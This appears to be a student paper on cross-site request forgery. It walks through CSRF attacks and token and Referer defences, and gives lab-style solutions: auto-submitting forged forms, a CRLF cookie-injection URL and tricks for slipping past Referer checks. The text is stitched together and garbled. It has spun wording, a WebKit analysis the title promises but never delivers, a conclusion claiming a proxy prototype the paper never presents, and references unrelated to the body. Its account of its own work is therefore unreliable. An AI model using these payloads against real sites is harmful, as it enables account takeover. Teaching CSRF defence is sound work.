ANALYSIS OF CROSS SITE REQUEST FORGERY ATTACK ON WEBKIT

Anand Patil, Ajay Yadav, Hari Krishnan, Raju Prasad

Ajeenkya d y patil university

Abstract: Cross Site Request Forgery is considered to be one of the key security holes on the Web today, where an untrusted Web site can force the user browser to send the unauthorized valid request to the trusted site. In contrast, Cross Site Request Forgery (XSRF) attacks have received little attention. An XSRF attack exploits the trust of a Web application in the authenticated users by providing the attacker with arbitrary HTTP requests on behalf of a victim. The problem is that web applications usually respond to such requests without verifying that the actions that they have taken are actually intended. Because XSRF represents a relatively new security issue, it is largely unknown to web application developers. So far, many solutions have been proposed for CSRF attacks. For example, the referrer HTTP header, the custom HTTP header, the Origin header, the client site proxy, the browser plug-in, and the random token validation. However, existing solutions are not so immune that they prevent this attack. All solutions are only partially protected. Many Web applications are not completely secure, particularly against the CSRF vulnerability. Cross Site Request Forgery is one of the top ten vulnerabilities selected by the OWASP, ranking third in terms of severity after SQL Injection and Cross Site Scripting. [7] Another interesting fact is that these attacks, if properly executed, can be very damaging to web applications. The state change function remains the main focus of the attackers.

Index Terms **- security threats, security breaches, browser security, forgery prevention, defense mechanisms, open web application security.**

I. INTRODUCTION

CSRF is a type of attack in which the victim is made to perform the malicious task of a victim-authenticated web application due to the attacker's interests. The extent of the attack depends on the privileges / possibilities of the victim. Because the attacker used the check received in the current session to carry out the malicious task. This is one of the reasons why this attack is called session riding. A CSRF attack uses the concept that when the user authenticates, all requests originating from that user must be user-initiated. The attacker exploited this concept by identifying the session cookie of the session and using it to send its own payload for execution in the application. Almost every website uses cookies to maintain a user's session. Because HTTP is a "stateless" protocol, a user cannot be authenticated for a number of requests. Ask the user for their credentials. Every process is a very bad idea in terms of the user experience. For this reason, cookies are used. Cookies are very efficient and secure for this purpose if they have sufficient entropy and cryptographic strength and are transmitted over a secure channel (using HTTPS). The attacker places a code on his website that authenticates the target site. The cookies of the destination website are inserted by the browser in the request. This makes this fake request legal and the action will be successful.

How does a CSRF attack affect you?

In the case of a successful CSRF attack, the attacker causes the victim to take unintentional action. This can be, for example, to change the e-mail address of your account, to change your password or to make a transfer. Depending on the nature of the action, the attacker may gain full control of the user account. If the attacked user has a privileged role in the application, the attacker may be able to take complete control of all the data and features of the application.

How does CSRF work?

For a CSRF attack to be possible, three important conditions must be met:

• A relevant action. In the application, there is an action that the attacker can trigger for a reason. This can be a privileged action (such as changing permissions for other users) or a user-specific data action (such as changing the user's own password).

• Cookie-based session treatment. Executing the action involves issuing one or more HTTP requests. The application uses only session cookies to identify the user who made the requests. There is no other mechanism to track sessions or validate user requests.

• No unpredictable requirement parameters. The requirements that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, if a user initiates a password change, the feature is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application includes a feature that allows the user to change the email address of their account. When a user performs this action, he sends an HTTP request like the following:

```
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com
```

This meets the requirements for CSRF:

• Changing the e-mail address in a user account is of interest to an attacker. After this action, the attacker can usually trigger a password reset and gain full control of the user account.

• The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms for tracking user sessions.

• The attacker can easily determine the values of the request parameters required to perform the action. Under these conditions, the attacker can create a web page that contains the following HTML code:

```
<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document. Forms[0].submit();
    </script>
  </body>
</html>
```

- When a user of the victim visits the website of the attacker, the following happens:
- The attacker's page triggers an HTTP request to an insecure website.

- If the user is logged in to an insecure website, his browser will automatically include the session cookie in the request (unless semi-site cookies are used).

The insecure website processes the request in the normal way, treats it as created by the user of the victim, and changes its e-mail address.

How to construct a CSRF attack

Physically making the HTML required for a CSRF endeavor can be lumbering, especially where the ideal solicitation contains countless parameters, or there are different eccentricities in the solicitation. The least demanding approach to build a CSRF misuse is utilizing the CSRF PoC generator that is worked in to Burp Suite Professional:

• Select a solicitation anyplace in Burp Suite Professional that you need to test or adventure.

• From the right-click setting menu, select Engagement devices/Generate CSRF PoC.

• Burp Suite will produce some HTML that will trigger the chose solicitation (short treats, which will be included naturally by the unfortunate casualty's program).

• You can change different choices in the CSRF PoC generator to calibrate parts of the assault. You may need to do this in some surprising circumstances to manage idiosyncratic highlights of solicitations.

Solution

```
<form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
     document. Forms[0].submit();
</script>
```

How to deliver a CSRF exploit

The transmission mechanisms for cross-site request fake attacks are essentially the same as for Reflected XSS. As a rule, the attacker places the malicious HTML code on a website he controls and causes the victims to visit this website. This can be done by sending the user a link to the website via email or via a social media message. When attacking a popular Web site (for example, in a user comment), the attacker may only be waiting for users to visit the Web site.

Not that some simple CSRF exploits use the GET method and can be completely self-contained with a single URL on the vulnerable site. In this situation, the attacker may not have to set up an external Web site and can directly submit a malicious URL to the vulnerable domain. In the previous example, if the request to change the e-mail address can be made using the GET method, a self-contained attack looks like this:

```
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
```

XSS vs CSRF

This section explains the differences between XSS and CSRF and explains whether CSRF tokens can help prevent XSS attacks.

What is the difference between XSS and CSRF?

Cross-site scripting (or XSS) allows an attacker to execute any JavaScript within the victim's browser.

With Cross-Site Request Forgery (CSRF), an attacker can convince a victim's victim to perform actions he does not intend to do.

The consequences of XSS vulnerabilities are generally more severe than CSRF vulnerabilities:

- CSRF is often only valid for a subset of actions that a user can perform. Many applications generally implement CSRF defenses, but overlook one or two actions that remain open. Conversely, a successful XSS exploit can usually cause a user to perform all actions that the user can perform, regardless of the functionality in which the vulnerability occurs.
- CSRF can be described as a "one-way" vulnerability because an attacker could cause the victim to submit an HTTP request, but the response can not be retrieved from this request. Conversely, XSS is "bidirectional" because the attacker's injected script can issue arbitrary requests, read responses, and filter data into an attacker's external domain.

Can CSRF tokens prevent XSS attacks?

In fact, some XSS attacks can be prevented by the effective use of CSRF tokens. Consider a simple XSS vulnerability that could be trivialized by the following:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

Now, suppose the vulnerable function includes a CSRF token:

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

Assuming the server properly validates the CSRF token and rejects requests without a valid token, the token prevents the XSS vulnerability from being exploited. The hint here is in the name: Cross-site scripting involves, at least in its reflected form, a cross-site request. By preventing an attacker from forging a cross-site request, the application prevents the XSS vulnerability from being trivially exploited.

Some important reservations arise here:

- If a reflected XSS vulnerability exists elsewhere on the site within a feature that is not protected by a CSRF token, this XSS vulnerability could be exploited in the normal way.
- If there is an exploitable XSS vulnerability anywhere on a site, the vulnerability could be used to cause a user to take action, even if these actions are themselves protected by CSRF tokens. In this situation, the attacker's script may prompt the page in question to retrieve a valid CSRF token, and then use the token to perform the protected action.
- CSRF tokens do not protect against stored XSS vulnerabilities. If a page protected by a CSRF token is also the issuing point for an XSS-stored vulnerability, this XSS vulnerability could be exploited in the usual way, and the XSS payload is executed when a user visits the page,

Preventing CSRF attacks

The most robust way to defend against CSRF attacks is to include a CSRF token in the relevant requirements. The token should be:

- Unpredictable with high entropy, as with session tokens in general.
- Tied to the user's session.
- In any case, strictly validated before the corresponding action is performed.

CSRF TOKENS

In this section, we explain what CSRF tokens are, how they are protected from CSRF attacks, and how CSRF tokens should be generated and validated.

What are CSRF tokens?

A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in a subsequent HTTP request from the client. When the later request occurs, the server-side application verifies that the request contains the expected token and rejects the request if the token is missing or invalid.

CSRF tokens can prevent CSRF attacks by preventing an attacker from creating a fully valid HTTP request that is suitable for delivery to a victim's user. Because the attacker can not determine or predict the value of a user's CSRF token, they can not create a request with all the parameters required by the application to fulfill the request.

How should CSRF tokens be generated?

CSRF tokens should contain significant entropy and be highly unpredictable, with the same characteristics as session tokens in general.

You should use a cryptographic strength pseudo-random number generator (PRNG) that has a creation timestamp and a static secret.

If you need more security beyond the power of the PRNG, you can generate individual tokens by associating the output with a custom entropy and using a strong hash of the entire structure. This provides an additional barrier for an attacker attempting to parse the tokens based on a sample that was issued to him.

How should CSRF tokens be transmitted?

CSRF tokens should be treated as secrets throughout their lifecycle and handled in a secure manner. A normally effective approach is to transfer the token to the client in a hidden field of an HTML form that is sent using the POST method. The token is then inserted as a request parameter when the form is submitted:

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

For additional security, the field with the CSRF token should be placed in the HTML document as early as possible, ideally in front of non-hidden input fields and in front of places where user-controllable data is embedded in the HTML code. This counteracts various techniques that an attacker can use to design crafted data to manipulate the HTML document and capture portions of its content.

An alternative approach to placing the token in the URL query string is slightly less secure because the query string:

• Logged to various locations on the client and server side.

• may be transferred to third parties in the HTTP referer header; and

• can be displayed in the user's browser on the screen.

Some applications transfer CSRF tokens in a custom request header. This represents another defense against an attacker who manages to predict or capture another user's token because browsers do not normally allow custom headers to be sent across domains. However, the approach restricts the application to providing CSRF-protected requirements using XHR (as opposed to HTML forms), and can be considered overly complex in many situations.

CSRF tokens should not be transferred in cookies.

How should CSRF tokens be validated?

When a CSRF token is generated, it should be stored on the server side in the user's session data. When a subsequent request is received that requires validation, the server-side application should verify that the request contains a token that matches the value stored in the user session. This check must be performed independently of the HTTP method or content type of the request. If the request does not contain a token at all, it should be rejected in the same way as if an invalid token exists.

An additional defense that is partially effective against CSRF and that can be used in conjunction with CSRF tokens is Same Site cookies.

Common CSRF vulnerabilities

The most interesting CSRF vulnerabilities are due to errors in the validation of CSRF tokens.

In the previous example, assume that the application now includes a CSRF token in the user password change request:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

This should prevent CSRF attacks because it violates the necessary conditions for a CSRF vulnerability: The application no longer relies solely on session-handling cookies, and the request contains a parameter whose value an attacker cannot determine. However, there are several ways in which the defense can be broken, meaning that the application remains vulnerable to CSRF.

Validation of CSRF token depends on request method

Some applications validate the token correctly when the request uses the POST method, but skip the validation if the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the check and trigger a CSRF attack: GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

Solution

```
<form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>
```

Validation of CSRF token depends on token being present

Some applications validate the token correctly if it exists, but skip validation if the token is omitted.

In this situation, the attacker can remove the entire parameter that contains the token (not just its value) to bypass the validation and trigger a CSRF attack:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

CSRF where token Validation depends on token being present (solution)

```
<form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>
```

CSRF token is not tied to the user session

Some applications do not verify that the token belongs to the same session as the user making the request. Instead, the application manages a global pool of tokens it issued and accepts all tokens that appear in that pool.

In this situation, the attacker can log on to the application with his own account, receive a valid token, and then forward that token to the victim's victim in his CSRF attack.

Solution

Note that the request is accepted if you swap the CSRF token with the value of the other account.

Create and host a proof-of-concept exploit as described in the CSRF Unsafe-Thrown solution. Note that the CSRF tokens are for single use only. So, you have to add a new token.

CSRF token is tied to a non-session cookie

Unlike the previous vulnerability, some applications bind the CSRF token to a cookie, but not to the same cookie used to track sessions. This can easily occur if an application uses two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF;
csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

This situation is hard to exploit, but still weak. If the web site contains any behavior that allows an attacker to set a cookie in the victim's browser, an attack is possible. The attacker can log into the application using their own account, obtain a valid token and associated cookie, take advantage of the cookie-setting behavior to place their cookie in the victim's browser, and use their CSRF May feed its token to the victim in the attack.

Solution

Note that if you swap the csrfKey cookie and csrf parameters from the first account to the second account, the request is accepted.

Close the Repeater tab and incognito browser.

Back in the original browser, do a search, send the resulting request to Burp Repeater, and see that the search term is reflected in the set-cookie header. Since the search function has no CSRF protection, you can use it to inject cookies into the victim user's browser.

Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim's browser:

/?search=test%0d%0aSet-Cookie: %20csrfKey=your-key

Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability, ensuring that you include your CSRF token. The exploit must be created from an email change request.

Remove the script block, and add the following code to inject the cookie:

<img src="$cookie-injection-url" onerror="document. forms [0]. submit ()">

CSRF token is simply duplicated in a cookie

In another variation on the preceding vulnerability, some applications do not maintain any server-side records of tokens that have been issued, but instead mimic each token within the cookie and request parameters. When the subsequent request is validated, the application only verifies that the token presented in the request parameter matches the value presented in the cookie. This is sometimes called a "double submit" defense against CSRF, and is advocated because it is simple to implement and avoid any server-side state requirement:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this case, the attacker may perform a CSRF attack again if the Web site has any cookie setting functionality. Here, the attacker is not required to obtain his own valid token. They simply invent a token (perhaps in the required format, if it is being checked), take advantage of the cookie-setting behavior to place their cookie in the victim's browser, and feed their token to the victim in their CSRF attack.

Solution

Send a request to Burp Repeater and observe that the value of the CSRF body parameter is being validated by simply comparing it with the CSRF cookie.

Perform the search, send the resulting request to Burp Repeater, and see that the search term is reflected in the set-cookie header. Since the search function has no CSRF protection, you can use it to inject cookies into the victim user's browser.

Create a URL that uses this vulnerability to inject fake csrf cookies into the victim's browser:

/?search=test%0d%0aSet-Cookie: %20csrf=fake

Create and host the proof of concept without any defenses as described in the solution to the CSRF vulnerability, ensuring that your CSRF token is set to "fake". The exploit must be created from an email change request.

Remove the script block, and add the following code to inject the cookie and submit the form:

Rerefer-based defenses against CSRF

In addition to defenses employing CSRF tokens, some applications use HTTP referrer headers to protect against CSRF attacks, usually by verifying that the application originated from its own domain. This approach is generally less effective and is often subject to bypass.

Validation of Rerefer depends on header being present

Some applications validate the refer header when it is present in requests but skip validation when the header is omitted.

In this case, an attacker can create its CSRF exploits in such a way, resulting in the victim user's browser dropping the referrer header into the resulting request. There are various ways to achieve this, but the easiest is using a meta tag within the HTML page that hosts the CSRF attack:

<meta name="referrer" content="never">

Solution

Send the request to Burp Repeater and observe that if you change the domain in the Rerefer HTTP header then the request is rejected.

Delete the Rerefer header entirely and observe that the request is now accepted.

Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses. Include the following HTML to suppress the Rerefer header:

<meta name="referrer" content="no-referrer">

Validation of Rerefer can by circumvented

Some applications validate referrer headers that can be bypassed. For example, if the application only confirms that the referrer has its own domain name, the attacker may place the required value elsewhere in the URL:

http://attacker-website.com/csrf-attack?vulnerable-website.com

If the application confirms that the domain in the referrer starts with the expected value, the attacker can place it as a subdomain of its domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack

Solution

Copy the original domain to the query string of the referrer and see that the request is now accepted.

Create and host proof of concept without any defenses as described in the CSRF vulnerability solution. Include the following JavaScript in the script block to change the URL and context:

history.pushState("", "", "/? $original-domain")

Conclusion

A cross-site request forgery (XSRF) attack exploits a web application's trust in its authenticated users, allowing an attacker to execute arbitrary HTTP requests on behalf of the victim. Unfortunately, current CSRF mitigation techniques have shortcomings that limit their general applicability. To solve this problem, this article presents a solution that provides completely automatic protection against XSRF attacks. Our approach is based on a server-side proxy that detects and prevents XSRF attacks in a way that is transparent to both the users and the web application itself. We successfully used our prototype to secure a number of popular open source web applications that were vulnerable to XSRF. Our experimental results show that the solution is viable and that we can back up existing web applications without adversely affecting their behavior. Currently, XSRF attacks are relatively unknown to both web developers and attackers looking for simple targets. However, we expect that the attention devoted to this class of attacks will soon reach the more traditional web security issues (such as XSS or SQL injections) and we hope that our solution will prove useful in protecting vulnerable Web applications becomes.

References

[1] M. Almgren, H. Debar, and M. Dacier. A lightweight tool for detecting web server attacks. In ISOC Symposium on Network and Distributed Systems Security (NDSS), 2000.
[2] HTMLParser. http://htmlparser.sourceforge. net/, 2006.
[3] Y.-W. Huang, S.-K. Huang, and T.-P. Lin. Web Application Security Assessment by Fault Injection and Behavior Monitoring. In 12th International World Wide Web Conference (WWW), 2003.
[4] Y.-W. Huang, F. Yu, C. Hang, C.-H. Tsai, D.-T. Lee, and S.Y . Kuo. Securing Web Application Code by Static Analysis and Runtime Protection. In 13th International World Wide Web Conference, 2004.
[5] Java Q & A - Session State in the Client Tier. http://java.sun.com/blueprints/qanda/ client_tier/session_state.html,2006.
[6] N. Jovanovic, E. Kirda, and C. Kruegel. Preventing Cross Site Request Forgery Attacks. Technical report. [7] N. Jovanovic, C. Kruegel, and E. Kirda. Pixy: A Static Analysis Tool for Detecting Web Application Vulnerabilities (Short Paper). In IEEE Symposium on Security and Privacy, 2006.
[8] E. Kirda, C. Kruegel, G. Vigna, and N. Jovanovic. Noxes: A Client-Side Solution for Mitigating Cross Site Scripting Attacks. In 21st ACM Symposium on Applied Computing (SAC), 2006.
[9] C. Kruegel and G. Vigna. Anomaly Detection of Web-based Attacks. In 10th ACM Conference on Computer and Communication Security (CCS), 2003.
[10] Martin Johns and Justus Winter. RequestRodeo: Client-Side Protection against Session Riding. {OWASPAppSec2006Europe}, 2006.
[11] ModSecurity. http://www.modsecurity.org/.
[12] Persistent Client State: HTTP Cookies. http: //wp.netscape.com/newsref/std/cookie\ _spec.html, 1999.